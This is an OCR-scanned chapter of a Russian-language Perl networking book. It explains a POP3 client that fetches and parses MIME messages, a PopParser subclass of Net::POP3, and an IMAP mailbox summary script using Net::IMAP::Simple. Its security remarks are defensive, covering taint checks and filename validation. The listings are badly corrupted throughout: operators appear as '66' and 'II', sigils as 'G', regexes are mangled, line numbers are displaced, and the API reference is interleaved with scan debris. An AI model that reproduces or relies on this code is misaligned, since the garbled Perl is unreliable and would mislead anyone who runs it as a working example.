74: for (my $i=0;$i<Gattachments;$i++) {
75: print "\tATTACHMENT ",$i+l," of ".Gattachments,"\n";
76: display_entity($attachments[$i])
77: }
78: }
79: # Просмотреть содержимое данной части сообщения
80: sub display_part {
81: my $part = shift;
82: my $head = $part->head;
83: my $type = $head->mime_type;
84: my $description = $head->get('Content-Description');
85: my ($default_name) = $head->get("Content-Disposition")
=~ /filename="(['A"]+)"/;
86: my $body = $part->bodyhandle;
87: # Часть типа text/plain
88: return $body->print if $type eq 'text/plain";
89: # Часть другого типа
90: my $viewer = get_viewer($type);
91: my $prompt = $viewer ? "\n<v>iew, <s>ave or <n>ext" :
"\n<s>ave or <n>ext";
92: print "\tType: $type.\n";
93: print "\tDescription: $description\n" if $description;
94: print "\tFilename: $default_name\n" if $default_name;
95: while ((my $action = prompt ($prompt,'s')) =~ /[sv]/) {
96: save_body($body,$default_name) if $action eq "s";
97: display_body($body,$viewer) if $action eq 'v';
98: }
99: }
100: # Вызывается для записи вложения на диск
101: sub save_body {
102: my($body,$default_name) = @_;
103: my $open_ok =0;
104: my $path;
105: while (!$open_ok) {
106: $path = prompt('Save to file or <n>ext ',
"./$default_name");
107: return if $path eq 'n';
108: warn "Bad path name, try again.\n" and next
if $path =~ m.'VI (?:"l/)\.\-/J;
109: warn "Bad path name, try again.\n" and next
unless $path =~ m!"([/\w._-]+)$!;
226
Часть II. Разработка клиентов для основных служб
110
111
112
113
114
115
116
117
118
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
$open_ok = open(F,">$1");
warn "Couldn't open $path: $!\n" unless $open_ok;
}
$body->print(\*F) 66 print "Written to $path\n";
close F || warn "close error on $path: $!\n";
}
# Вызывается для просмотра тела вложения
sub display_body {
my($body,$viewer) = G ;
119: my $file = $body->path;
120: if ($file 6& $viewer =~ s/%s/$file/g) {
# Открыть программу просмотра из сценария
121: system("$viewer $file") 66 return
warn "Couldn't launch viewer: $!\n";
122: } else { # Выдать команду вызова программы
# просмотра на устройство STDIN
123: local $SIG{PIPE}='IGNORE";
124: open(V,"| $viewer")
II return warn "Couldn't launch viewer: $!\n";
$body->print(\*V);
close V;
}
# Найти программу просмотра для данного типа MIME
sub get_viewer {
my $type = shift;
return HTML_VIEWER if $type eq 'text/html';
return IMAGE_VIEWER if $type =~ m!"image/!;
return MP3PLAYER if $type =~ m!"audio/(x-)?mpeg!;
return SND_PLAYER if $type =~ m!"audio/!;
return;
}
END {
$entity->purge if defined $entity;
I
Проведем анализ программы.
Строки 1-6. Активизация проверки потенциально опасных данных и загрузка модулей.
Поскольку будет выполняться запуск внешних приложений (программ просмотра) на основе
информации, полученной из источников, не заслуживающих доверия, необходимо тщательно
проверять переменные, содержащие потенциально опасные данные. Проверка потенциально
опасных данных обозначена опцией -т. (Дополнительная информация приведена в главе 10.)
Загружаются два модуля, разработанные для этого приложения, — PopParser и Promptutil.
Строки 7—11. Определение средств просмотра. Определяются константы для некоторых
внешних средств просмотра. Например, файлы HTML вызываются командой lynx %s, где код
формата %s заменяется именем просматриваемого файла HTML. Для разнообразия
некоторые средства просмотра выполнены в виде каналов. Например, программа воспроизведения
звуковых файлов МРЗ вызывается как mpgl23 -, где символ "-" сообщает программе
воспроизведения, чтобы она получила входную информацию из стандартного устройства ввода.
В конце анализа этой программы будет описано, как заменить этот раздел кода для вызова
стандартного средства mailcap.
Строки 12, 13. Средства проверки потенциально опасных данных. Как будет описано
более подробно в главе 10, проверка потенциально опасных данных исключает возможность вы-
Глава 8. Протоколы обработки почты и сообщений групп новостей...
227
лолнения программы с установленным значением пути доступа, не заслуживающим доверия,
или с некоторыми другими установленными переменными среды. Переменная path
устанавливается равной известному, проверенному значению, и удаляются четыре другие
переменные среды, от которых зависит способ выполнения команд.
Строки 14-20. Выборка имени пользователя и имени хоста почтового ящика.
Выполняется обработка параметров командной строки для получения имен пользователя и хоста РОРЗ.
Глобальная переменная Sentity содержит объект mime: :Entity, интерпретированный
в самую последнюю очередь. Эта переменная объявлена как глобальная, чтобы к ней можно
было обратиться в блоке end {) и вызвать метод purge () соответствующего объекта в том
случае, если пользователь преждевременно выйдет из программы. В результате этого с диска
будут удалены все временные файлы. По этим же соображениям перехватывается сигнал int
для обеспечения корректного выхода, если пользователь нажмет клавишу прерывания.
Строки 21-26. Регистрация на сервере, где находится почтовый ящик. Модуль
PopParser.pm определяет новый подкласс класса Net: :POP3, который наследует свои
правила поведения от базового класса, но возвращает объекты mime: :Entity,
интерпретированные с помощью метода get (), а не просто необработанный текст сообщения. Создается
новый объект PopParser, подключенный к хосту почтового ящика. В случае успешного
выполнения этой операции вызывается функция get_passwd() (импортированная из модуля
Promptotii) для получения пароля учетной записи пользователя.
Затем выполняется проверка подлинности пользователя на удаленном хосте. Заранее не
известно, поддерживает ли сервер метод аутентификации арор или менее защищенный метод
аутентификации с передачей пароля в виде открытого текста, поэтому осуществляется
попытка применить оба метода. Если вызов метода арор () зааершается аварийно,
предпринимается попытка выполнить метод login (). Если и эта попытка оканчивается неудачей,
вызывается функция die () с сообщением об ошибке.
В случае успешной регистрации выводится число сообщений, возвращенных методами
арор () или login (). К числу сообщений прибавляется 0 для преобразования кода
результата 0Е0 в более удобное для восприятия целое число.
Строки 27-38. Главный цикл обработки сообщений. Программа входит в главный цикл
обработки сообщений. Выбирается заголовок каждого сообщения путем вызова метода top О
объекта PopParser (который унаследован без изменения от модуля Net: :POP3). Текст
заголовка затем передается предусмотренному в программе методу print_header() для его
отображения в виде кратких сведений о сообщении, состоящих из одной строки.
Пользователю выдается запрос, желает ли он прочесть сообщение, и при положительном
ответе вызывается метод get о объекта PopParser, который выбирает указанное сообщение,
интерпретирует его и возвращает объект mime: :Entity. Этот объект передается
подпрограмме dispiay_entity() данной программы для отображения самого объекта и его под-
частей. После выполнения подпрограммы display_entity() удаляются временные файлы
объекта путем вызова его метода purge ().
На последнем этапе программа выдает пользователю запрос, желает ли он удалить
сообщение из удаленного почтового ящика, и в случае утвердительного ответа вызывается метод
delete () объекта PopParser.
Строки 39-45. Подпрограмма print_header (). Данная подпрограмма принимает ссылку на
массив, содержащий строки заголовка, возвращенные методом $POP->top(), и преобразует
их в итоговую строку, предназначенную для вывода. Хотя для этого может применяться
модуль Mail::Header, оказалось, что проще самим интерпретировать и преобразовывать
заголовок в хеш с использованием общей схемы, которая применялась в почтовом клиенте
Mail: : SMTP (ЛИСТИНГ 7.2).
Выходная строка содержит дату, имя отправителя и строку темы, которые разделены
символами табуляции.
Строки 46-60. Подпрограмма display_entity (). Эта подпрограмма обеспечивает
отображение объекта mime :: Entity. Она вызывается рекурсивно для обработки объекта верхнего
уровня и каждой из его частей (подчастей и т.д.).
Выполнение подпрограммы начинается с выборки почтового заголовка сообщения в виде
объекта MIME: :Head. Если заголовок содержит поле From-., то можно сделать вывод, что это —
объект верхнего уровня. Осуществляется вывод заголовка, чтобы пользователь мог видеть
имя отправителя и другие поля.
228
Часть Л. Разработка клиентов для основных служб
Затем выполняется проверка того, является ли объект многокомпонентным, путем вызова его
метода ismultipart (). Если этот метод возвращает истинное значение, то вызывается
подпрограмма handle_multipart () для выдачи пользователю запроса о способе обработки
каждой из подчастей. В ином случае вызывается подпрограмма display_part () для
отображения содержимого компонента.
• Строки 61—78. Подпрограмма handle_multipart о. Данная подпрограмма открывает в цикле
каждую часть многокомпонентного объекта mime: : Entity и выполняет ее обработку.
Подпрограмма начинается с вызова метода parts () объекта для выборки каждой из его подчастей
в виде объекта mine: : Entity. Затем дважды вызывается встроенная функция grepd языка
Perl для классификации частей на те, которые можно отображать непосредственно, и те, которые
должны рассматриваться как вложения, для отображения которых необходимо использовать
внешнее приложение. Поскольку известно, что непосредственно отобразить можно только
простой текст, классификация проводится по типу text /plain формата MIME.
Для каждой части типа text /plain вызывается подпрограмма display_part (), которая
выводит тело сообщения на экран. Если же в состав объекта входят нетекстовые вложения,
пользователю выдается запрос дать разрешение на их отображение, и в случае
положительного ответа рекурсивно вызывается подпрограмма displayentity() для каждого вложения.
Поскольку подпрограмма displayentityO вызывается рекурсивно, вложения сами могут
представлять собой многокомпонентные сообщения, такие как перенаправленные письма.
• Строки 79-99. Подпрограмма display_part о. Эта подпрограмма вызывается для
отображения однокомпонентного объекта mime: :Entity. В зависимости от пожелания
пользователя, эта подпрограмма может отобразить, сохранить или игнорировать рассматриваемую часть.
Подпрограмма начинается с выборки заголовка части, типа MIME, описания и
предусмотренного по умолчанию имени файла для записи на диск (полученного из поля заголовка Content-
Disposition:, если оно имеется). Создается также объект mime: :Body для
рассматриваемой части путем вызова метода bodyhandle () объекта этой части. Объект MIME:: Body
предоставляет доступ к раскодированному информационному наполнению тела сообщения.
Если данная часть имеет тип MIME text /plain, для ее отображения не требуется внешнее
средство просмотра. Поэтому просто вызывается метод print () тела объекта для вывода
его содержимого на стандартное устройство вывода. В ином случае для получения имени
внешней программы просмотра, которая позволяет отобразить данные с этим типом MIME,
вызывается метод get_yiewer (). Выводится итоговая строка, содержащая тип MIME данной
части, ее описание и имя файла, применяемое по умолчанию, а затем пользователю выдается
запрос, хочет ли он просмотреть или сохранить эту часть. В зависимости от ответа
пользователя, вызывается подпрограмма save bcdyo для записи информационного наполнения
части на диск или подпрограмма display_bcdy(), которая запускает внешнюю программу
просмотра для отображения этого информационного наполнения. Этот цикл продолжается до тех
пор, пока пользователь не выберет опцию "п", чтобы перейти к следующей части.
Если для типа MIME данной части не определено ни одно средство просмотра, пользователю
остается только записать информационное наполнение на диск.
• Строки 100-114. Подпрограмма save_body (). Подпрограмма save_bcdy() принимает
объект mime :: Body и заданное по умолчанию имя файла. Она предоставляет пользователю
возможность изменить имя файла, открывает файл, и записывает информационное наполнение
части на диск.
Самой интересной особенностью этой подпрограммы является способ обработки имени файла
вложения, применяемого по умолчанию. Имя файла берется из поля заголовка Content-
Disposition:, поэтому рассматривается как данные, не заслуживающие доверия. Некто,
желающий причинить вред, может выбрать недопустимое имя пути, при использовании которого (без
проверки) можно перезаписать ценный файл конфигурации. По этой причине запрещены полные имена
путей, а также имена файлов, которые содержат компонент".." обозначения относительного имени
пути. Запрещены также имена файлов, содержащие такие необычные знаки, как метасимволы
командного интерпретатора. После успешного выполнения проверок имя файла извлекается путем
сопоставления с образцом; в результате эти данные перестают быть потенциально опасными.
Теперь интерпретатор Perl позволит открыть файл для записи. Выполняется открытие файла и запись
в него содержимого вложения путем вызова метода print () объекта mime :: Body.
• Строки 116-128. Подпрограмма displayjbodyo. Данная подпрограмма вызывается для запуска
внешней программы просмотра, позволяющей отобразить присоединенный файл Ей передается
объект mime: : Body и команда запуска внешней программы просмотра для его отображения.
Глава 8. Протоколы обработки почты и сообщений групп новостей... 229
Чтобы это приложение было немного интереснее, в нем разрешено применение программ
просмотра двух типов: тех, которые считывают тело сообщения из файла на диске, и тех,
которые считывают его со стандартного устройства ввода. Последние отличаются тем, что
содержат в команде вызова код формата %s, который будет заменен именем файла перед
выполнением команды (это — стандартное соглашение, применяемое в файле mailcap UNIX).
Подпрограмма начинается с аызоаа метода path о объекта mime: :Body для получения пути
к временному файлу, в котором хранятся данные объекта. Затем это имя пути используется
при подстановке образца для замены всех вхождений кода формата %s в команде вызова
программы просмотра. Если операция подстановки образца выполняется успешно, она
возвращает истинное значение и для выполнения команды вызывается функция system().
В ином случае принимается предположение, что программа просмотра должна считывать
данные со стандартного устройства. В этом случае используется метод open (•) для открытия
канала в команду вызова программы просмотра и вызывается метод print () тела объекта для
вывода информационного наполнения в дескриптор файла канала. Однако перед
выполнением этого действия устанавливается опция ignore обработчика сигнала pipe для
предотвращения преждевременного прекращения программы из-за ошибок в программе просмотра.
Эта подпрограмма работает корректно при вызове и приложений, предназначенных для
обработки строковых данных, например средства просмотра HTML Lynx, и приложений для работы
с окнами, таких как XV.
Строки 129-137. Подпрограмма get_viewer (). Данная подпрограмма— это исключительно
простой фрагмент кода, в котором применяется сопоставление с образцом для определения типа MIME
вложения и выбирается жестко закодированный тип программы просмотра для этого вложения.
Строки 138-140. Блок end <}. Данная блок этого сценария обеспечивает вызов метода
purge () для любого оставшегося объекта mine :: Entity. В нем содержится оператор
удаления временных файлов, которые могут остаться на диске, если пользователь неожиданно
прерывает выполнение сценария.
Модуль PopParser
Еще одним важным компонентом сценария pop_fetch.pl является модуль
PopParser, который создает подкласс класса Net: :P0P3 таким образом, чтобы
интерпретация сообщений MIME происходила одновременно с их выборкой. Код
модуля PopParser. pm приведен в листинге 8.4.
ЛИСТИНГ 8.4. Модуль PopParser
0: package PopParser;
1: # Файл: PopParser.pm
use strict;
use Net::POP3;
use MIME::Parser;
5: use vars '0ISA';
6: 0ISA = qw(Net::POP3);
7
8
9
10
11
12
13
14
15
# Перекрыть метод new() модуля Net::P0P3
sub new {
my $pack = shift;
return unless my $self = $pack->SUPER::new((_),
my $parser = MIME::Parser->new;
$parSer->output_dir($ENV{TMPDIR) It '/trap');
$self->parser($parser);
$self;
}
230
Часть П. Разработка клиентов для основных служб
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Средство доступа к объекту MIME::Parser
sub parser {
my $self = shift;
$(*$self}('ppparser'} = shift if @_;
return $(*$self}('ppjparser'}
}
# Переопределение метода get()
sub get {
my $self = shift;
my $msgnum = shift;
my $fh = $self->getfh($msgnum)
or die "Can't get message: ",$self->message,"\n";
return $self->parser->parse($fh);
}
1;
Проведем анализ программы.
Строки 1-6. Загрузка модулей. Включена строгая проверка и загружены модули Net:: РОРЗ
и mime: :Parser. Применяется глобальный массив gisa, который сообщает интерпретатору
Perl, что PopParser является подклассом класса Net: :POP3.
Строки 7-15. Переопределение метода new о. Метод new о модуля Net: :POP3
переопределяется а целях создания и инициализации объекта mime: :Parser для последующего
использования. Вначвле вызывается метод new О родительского объекта для создания
основного объекта и подключения его к удаленному хосту, затем создвется и настраиавется объект
MIME::Parser. Полученный синтаксический анализвтор сохраняется для последующего
использования путем вызова метода parser (), который представляет собой средство доступа
к объекту MIME:: Parser.
Строки 16-21. Метод parser (). Этот метод предстввляет собой средство доступа к объекту
MIME::Parser, созданному а результате вызова метода new(). Если данный модуль будет
аызван с передачей объекта синтаксического анализатора а стеке подпрограммы, то объект
будет сохранен как одне из переменных экземпляра. В ином случае текущий объект
синтаксического анализвтора будет аозаращен вызывающей процедуре.
Способ включения объекта синтаксического анализатора а стеш1 переменных экземпляра
выглядит несколько странным, но именно так принято хранить переменные экземпляра — а аиде
объекта дескриптора файла:
${*$self}{'pp_parser'} = shift
В этой строке кода выполняется следующее: создвется ссылке на хеш а таблице символов,
который должен иметь такое же имя, как и используемый дескриптор файла. Затем а этот хеш
по ключу записывается значение так, как если бы это был хеш, созданный обычным образом.
В этом сценарии должен применяться именно такой способ хранения переменных экземпляра,
поскольку модуль Net: :POP3 а конечном итоге происходит от модуля Ю::Handle, а котором
предусмотрено создение и применение включенных (а пространство имен) дескрипторов фвй-
лов, а не обычных включенных ссылок на хеш.
Строки 22-30. Переопределение метода get О. В последней части этого модуля содержится
код, который переопределяет метод get () модуля Net:: РОРЗ. При вызове
переопределенного метода передается номер сообщения, которое должно быть выбрано; этот номер
передается методу getfh () для получения дескриптора файла, привязанного к объекту, и из этого
дескриптора файла должно быть считано требуемое сообщение. Полученный дескриптор файла
немедленно передается сохраненному объекту mime: : Parser для интерпретации сообщения
и получения объекта mime :: Entity.
Хеш, который включает все объекты, содержащиеся в пакете.
Глава 8. Протоколы обработки почты и сообщений групп новостей...
231
Замечательной особенностью проекта модуля PopParser является то, что
операции выборки и интерпретации сообщения выполняются в комплексе, а не
в два этапа, когда вначале происходит загрузка всего сообщения, а затем его
интерпретация. Это позволяет сэкономить значительное время при обработке
больших сообщений.
В сценарий pop_fetch.pl можно внести еще много полезных
усовершенствований. Наиболее важные результаты могло бы иметь расширение перечня программ
просмотра для нетекстовых дополнений и обеспечение возможности их свободного
выбора. Лучший способ решения этой задачи состоит в предоставлении поддержки
системного файла /etc/mailcap и пользовательских файлов .mailcap; эти файлы
в системах UNIX связывают типы MIME с внешними программами просмотра. В
результате пользователь получит возможность устанавливать и настраивать программы
просмотра без редактирования кода. Средства поддержки системы mailcap
находятся в модуле Mail: : Сар, который входит в состав пакета MailTools Грэма Барра. Для
использования модуля Mail: :Cap в сценарии pop fetch.pl замените строки 7-11
(листинг 8.3) следующими:
use Mail::Сар;
my $mc = Mail::Cap->new;
В результате будет вызван модуль Mail: :Сар и создан новый объект Mail: : Сар,
который позволяет выбирать информацию из файлов конфигурации mailcap.
Замените строку 90, в которой происходит вызов подпрограммы get_viewer (),
эквивалентным вызовом метода модуля Mail: : Сар.
my $viewer = $mc->viewCmd($type) ;
Этот метод принимает в качестве параметра тип MIME и возвращает команду,
которая должна быть вызвана для просмотра данных этого типа, если такая команда
определена в файле системы mailcap.
Последнее изменение состоит в замене строки 97, в которой вызывается
подпрограмма display_body () для вызова средства просмотра тела вложения,
эквивалентным вызовом метода модуля Mail: : Сар.
$mc->view($type,$body->path);
При выполнении этого вызова происходит поиск соответствующей команды
просмотра для указанного типа MIME, подстановка строк и вызов команды с помощью
функции system ().
Подпрограммы get_viewer () и display__body () больше не нужны, поскольку
их функциональные средства заменяются средствами модуля Mail: :Cap. Эти
подпрограммы можно удалить.
К другим возможным усовершенствованиям этого сценария относятся:
■ способность отвечать на сообщения;
■ способность выводить список старых и новых сообщений и переходить
непосредственно к сообщениям, интересующим пользователя;
■ реализация полноэкранного оконного интерфейса с использованием модуля
Curses, предназначенного для работы в текстовом режиме, или пакета РегГТК
для графического режима, которые могут быть получены из архива CPAN.
Приложив небольшие усилия, вы сможете превратить этот сценарий в
полнофункциональный клиент электронной почты!
232
Часть II. Разработка клиентов для основных служб
Протокол IMAP
Протокол РОРЗ был разработан для такой конфигурации, когда пользователь
в основном работает только за одним компьютером, а почтовый клиент время от
времени выбирает непрочитанную почту пользователя с удаленного хоста почтового
ящика. После этого пользователь читает почту и, при желании, раскладывает по
локальным почтовым папкам.
Однако если пользователь часто меняет свое рабочее место (днем работает в
офисе, вечером — дома, а в дорогу берет с собой лэптоп), ему становится сложнее следить
за почтой. В этом случае пользователь хотел бы видеть один и тот же набор почтовых
файлов, независимо от того, где он работает. Протокол IMAP (Internet Message Access
Protocol — Протокол доступа к сообщениям электронной почты через Internet)
удовлетворяет эти потребности, позволяя управлять несколькими удаленными
почтовыми папками и автоматически их синхронизировать с локальными копиями; благодаря
этому пользователь всегда имеет представление о хранимой электронной почте.
Клиенты IMAP предоставляют также пользователю возможность работать в автономном
режиме и позволяют ему применять сложные серверные функции поиска сообщений.
К сожалению, протокол IMAP также довольно сложен и предусматривает
некоторые действия, которые нелегко реализовать в простой модели запроса/ответа модуля
Net: : РОРЗ. Кроме всего прочего, серверы IMAP время от времени отправляют
клиенту незапрашиваемые сообщения, например, предупреждая его о поступлении
новой почты. Для работы с протоколом IMAP в архиве CPAN предусмотрено не менее
трех модулей Perl: Mail: : IMAPClient, Net: : IMAP и Net: : IMAP: : Simple.
Модуль Mail: : IMAPClient, написанный Дэвидом Керненом (David Kernen),
предоставляет наиболее широкий перечень функциональных средств по сравнению
с другими модулями; в нем предусмотрены методы выдачи всех команд IMAP. Однако
в модуле Mail: : IMAPClient не так уж много сделано для отображения ответов
сервера IMAP в удобные в работе объекты Perl. Для использования этого модуля нужно
иметь под рукой документ RFC 2060 и быть готовым к тому, что ответы сервера
придется интерпретировать самому.
В модуле Net: : IMAP Кевина Джонсона (Kevin Johnson) выполнен больший объем
работы по интерпретации ответов сервера и предусмотрен изящный интерфейс
обратного вызова, который позволяет перехватывать и обрабатывать события сервера.
К сожалению, этот модуль находится на этапе разработки альфа-версии и его
интерфейсы продолжают изменяться. Кроме того, ко времени написания данной книги
документация модуля была неполной.
В настоящее время наиболее удобным в работе интерфейсом к протоколу IMAP
является модуль Net: : IMAP: : Simple Жоао Фонсека (Joao Fonseca). Он
предоставляет доступ к подмножеству протокола IMAP, которое в наибольшей степени
напоминает протокол РОРЗ. В действительности, интерфейс модуля Net: :IMAP: :Simple
состоит из методов, в значительной степени повторяющих методы модуля
Net: : РОРЗ и, по большей части, полностью совместимых с ними.
Как и при использовании модуля Net: : РОРЗ, работа с модулем Net: :IMAP: :Simple
начинается с вызова его метода new () для подключения к хосту сервера IMAP. После
этого выполняется аутентификация с помощью метода login (), процесс получения
списка сообщений посредством методов list () и top () и выборка сообщений с
применением метода get (). В отличие от Net: : РОРЗ, в модуле Net: : IMAP: : Simple не
Глава 8. Протоколы обработки почты и сообщений групп новостей... 233
предусмотрен метод арор () для проверки подлинности пользователя без передачи
паролей в виде открытого текста. Однако в этом модуле предусмотрена возможность
работать с несколькими удаленными почтовыми ящиками. Модуль Net: : IMAP: :Simple
позволяет получать список почтовых ящиков пользователей, создавать и удалять их,
а также копировать сообщения из одного почтового ящика в другой.
Получение сводных данных о содержимом
почтового ящика IMAP
Программа pop_stats.pl, представленная в листинге 8.1, позволяет получить
сводные данные о содержимом почтового ящика РОРЗ. Теперь эта программа будет
доработана в целях получения сводных данных о содержимом почтового ящика IMAP.
В качестве дополнительного средства новый сценарий imap_stats.pl показывает,
было ли считано сообщение. Этот сценарий вызывается, как и pop_stats.pl, но
с дополнительным необязательным параметром командной строки, который
указывает имя рассматриваемого почтового ящика.
% imap_stats.pl IsteinGlocalhost gd_bug_reports
IsteinGlocalhost password:
gd has 6 messages (2 new)
1 Honza Pazdziora Re: ANNOUNCE: GD::Latin2 patch (fwd) read
2 Gurusamy Sarathy Re: patches for GD by Gurusamy Sarathy read
3 Honza Pazdziora Re: ANNOUNCE: GD::Latin2 patch (fwd) read
4 Erik Bertelsen GD-1.18, 2 minor typos read
5 Erik Bertelsen GD fails on some GIF's unread
6 Honza Pazdziora GDlib version 1.3 unread
Сценарий imap_stats .pi приведен в листинге 8.5.
Листинг 8.5. Получение сводных данных о содержимом почтового ящика IMAP
0: #!/usr/local/bin/perl -w
1: # Файл: imap_stats.pl
2: use strict;
3: use Net::IMAP::Simple;
4: use Mail::Header;
5: use PromptUtil;
6: my ($user,$host) = split(/\@/,shift,2);
7: my $mailbox = shift II 'INBOX';
8: ($user 66 $host) or die
"Usage: imap_stats.pl username\@mailbox.host [mailbox]\n";
9: my $passwd = get_passwd($user,$host) || exit 0;
10: $/ = "\015\012";
11: my $imap = Net::IMAP::Simple->new($host,Timeout=>30)
or die "Can't connect to $host: $!\n";
12: defined($imap->login($user=>$passwd))
or die "Can't log in\n";
13: defined(my $messages = $imap->select($mailbox))
or die "invalid mailbox\n";
14: my $last = $imap->last;
15: print "$mailbox has $messages messages
234
Часть П. Разработка клиентов для основных служб
16
17
18
19
20
21
22
23
26
27
28
29
30
31
32
(",$messages-$last," new)\n";
for my $msgnum (1.-$messages) {
my $header = $imap->top($msgnum);
my $parsedhead = Mail::Header->new($header);
chomp (my $subject = $parsedhead->get("Subject"));
chomp (my $from = $parsedhead->get("From'));
$from = clean_from($from);
my $read = $imap->seen($msgnum) ? 'read' : 'unread';
printf "%4d %-25s %-40s %-10s\n",$msgnum,$from,$subject,
$read;
24: }
25: $imap->quit;
sub clean_from (
local $_ = shift;
/л"([л\и]+)" <\S+>/ 66 return $1
/л([л<>]+) <\S+>/ 66 return $1
/"AS+ \(([л\)]+)\)/ 66 return $1
return $_;
}
Проведем анализ программы.
• Строки 1-5. Загрузка модулей. Загружаются модули Net: :1МАР: :simple, Mail: :Header,
а также модуль Promptutii, используемый а предыдущих примерах.
• Строки 6-9. Обработка параметров командной строки. Имя пользователя и имя хоста почтового
ящика извлекаются путем сопоставления с образцом из первого параметра командной строки, а имя
почтового ящика — из второго параметра. Если имя почтового ящика не указано, по умолчанию
указывается имя Inbox, которое представляет собой имя почтового ящика, применяемое по умолчанию
во многих системах UNIX. Затем выдается запрос пользователю ввести пароль.
• Строки 10-14. Подключение к удаленному хосту. Вызывается метод Net:: IMAP::Simple
->new () для подключения к указанному хосту, а затем выполняется аызов метода login ()
для проверки подлинности пользователя. Если эти этапы выполнены успешно, вызывается
метод select () объекта, позволяющий выбрать указанный почтовый ящик. Этот аызов
возвращает общее число сообщений в почтовом ящике; если почтовый ящик пуст, возвращает
значение О, а если он не существует— значение undef. Выбирается номер последнего
считанного сообщения путем вызова метода last ().
• Строки 15-24. Получение перечня содержимого почтового ящика. Все сообщения
обрабатываются а цикле от первого до последнего. Для каждого сообщения выбирается заголовок
путем вызова метода top О, выполняется его интерпретация и создание объекта
Mail::Header, а затем осуществляется выборка полей Subject: и From:. Вызывается
также метод seen о объекта IMAP для определения того, выполнялась ли выборка сообщения.
Затем происходит вывод номера сообщения, имени отправителя, строки темы и информации
о том, было ли оно прочитано пользоеателем.
• Строки 26-32. Подпрограмма ciean_from(). Это— та же подпрограмма, что и а
предыдущей версии этой программы; она преобразует адрес отправителя а более удобный формат.
API-интерфейс модуля Net::IMAP::Simple
Хотя модуль Net: : IMAP: : Simple очень похож на модуль Ne t: : РОРЗ, между ними
есть очень важные различия. Самым существенным из них является то, что модуль
Net: : IMAP: : Simple не наследует свои методы от модуля Net: : Cmd и поэтому в нем
не реализованы методы message () или code (). Кроме того, модуль
Net: :IMAP: :Simple не является подклассом класса 10::Socket и поэтому к его
Глава 8. Протоколы обработки почты и сообщений групп новостей... 235
объектам нельзя обращаться, как к дескрипторам файлов. Методы new () и login ()
аналогичны методам модуля Net: : РОРЗ:
' " $ imap = Net: :IMAP; :Siinple->new($host[,Soptl=>$vall,Sopt2=>Sval2. ..])' ' *' j
;> Метод new{) создает новый объект Net: :.±map: :simple. Первым параметром является имя !
( хоста, я он должен быть обязательно указан (в отличие от аналогичного метода Neti :Ил?3). За ним
F следует ряд опций, которые передаются непосредственно модулю Ю;: Socket:: INet. »
В случае неудачного выполнения метод пемй возвращает значениеaandef и устанавливает-'
а переменной $! определенный код ошибки. В ином случае он возвращает объект ,
Net:.: ШАР: isimple, подключенный к серверу. „|
Smessages = $imap->login($username,$password) j
Метод loginf) предпринимает попытку зарегистрироваться на сервере с использованием предоо \
тавленного имени пользователя и пароля. Параметры с указанием имени пользователя и пароля
являются обязательными; в .этом также eocronf отличие* от модуля Net:.;:S>0P3. При успешном выполнении,
этот метод возвращает <число сообщений в почтовом ящике пользователя, применяемом по умолча- !
j нию, которым обычно является INBOX. В ином случае метод login О возвращает значение undef. |
1. Обратите внимание, что метод login (j* не возвращает значение ОЕО после доступа к почтовому \
\ 'ящику, применяемому по умолчанию, который оказался пустым. В этом случае правильным Методом
Гпроаёрки успешной регистрации является выяснение с помощью функции defined! j того, «преде- j
; лено ли возвращаемое значение. __ __ __ ^ .__.?*■' . *■ >Щ
Для доступа к почтовым ящикам может применяться несколько функций.
1 (?mailboxes = Simap->mailboxes
i~ . ^^ . ., . ... ^ ... „ j
Метод mailboxes t) ьоэьращаёт список всех почтовых ящиков пользователя. ,
Smessages = $imap->select ($mailbox) , "~Ч Щ
Метод select () позволяет выбрать почтовый ящик rip имени, в результате чего он становится^
текущим. Если почтоаый ящик существует, метод select!) аозаращает число содержащихся в нем А
сообщений (если почтовый ящик пуст, — о). Если почтовый ящик не существует, метод возвращает 1
значение undef и текущий почтовый ящик не изменяется. ;
\ Ssuccess = $imap->oreate_mailbox($mailbox) I
$success = $imap->delete_mailbox(Staailbox) л
Ssuccess = $lmap->renime_inailbox($old_name,$new_name) j
Методы createmailbox»), delete^jrhailboxf) и rename_maiibox() соответственно, позао-'l
ляют создавать, удалять и переименовывать указанный лочтоаый ящик. В случае успешного выпол-1
нения'с-ни возвращают истинное значение, в ином случае.-^ложнее» .. , ,. ,|
После того как выбран почтовый ящик, можно его проверять и выбирать содержимое.
$last_msgnum = $imap->last 1
Метод last () возвращает наибольший номер прочитанного сообщения в текущем почтовом 5
ящике, также как и метод модуля Net: :РОРЗ- Кроме того.'зту информацию можнб получить, аызаав
Метод; seen ():, как описано ниже. "' - ■'> t
Sarrayref = $imap->get($msgnum) '-'''
Метод geto выбирает сообщение, указанное посредством номера, из текущего почтового ящи-^
ка. Возвращаемое значение представляет собой ссылку на массив, Содержащий строки сообщения: j
% >. $handle «= $imap->getfh0msgiium)^ ? 'vr ■- jlk
Этот метод аналогичен методу get о, НО возвращаемое значение представляетсобой дескрип-;
тор файла, из которого может выполняться чтение для выборки указанного сообщения Данный ме
'тод отличается от метода Net:: РОРЗ с таким же именем; тем, что возвращает дескриптор файла,
открытый ао временный файл, а не дескриптор файла, привязанный к объекту. Это означает, что'
все сообщение вначале передается с удаленного сервера на локальный компьютер незаметно для
| пользователя и1 только после этого можно приступать к работе с сообщением.
I-. $ flag = $imap->delete ($msgnum) „ •:• м . .
236
Часть II. Разработка клиентов для основных служб
у. Метод deleted отмечает указанное сообщение для удаления из текущего почтового ящика. '
Отмеченйые сообщения не удаляются до тех пор, пока не будет вызаан метод quito Однако
f в этом модуле йелЬзя аызаать метод resejtf) для отмены удаления. 5
| Sarrayref. =: $imapf>fc«>p ($msgnuinji я
i' Метод top() возвращает заголовок указанного сообщения как ссылку на массив строк. Этот'
| формат может применяться для передачи методу Mail: -Header->new()> Возможность выбрать '
: определенное число строк из текста тела сообщения отсутствует. „_,*
| Shashref = ?ijnap->list 'ч ■£
t" $size = $imap->list($msgnum) 3
• Метод list о возвращает информацию о размерах сообщении в почтовом ящике. При вызове,г
[ без параметров он возвращает ссылку на хеш, ключами которого являются идентификаторы сооб- г
'' щений, а значениями — размеры сообщений в байтах. При вызове с идентификатором сообщения '
f- этот метод возвращает-размер указанного сообщения, а если задан неправильный номер сообще-
■ нйя — значение undef. <- ■-, •■ |
| $flag «* $imap->seen ($msgnum) Щ
I Метод seen () возвращает истинное значение, если указанное сообщение, было считано (путем
'.'.вызова метада де^у1). или ложное значение —-в ином'случав.
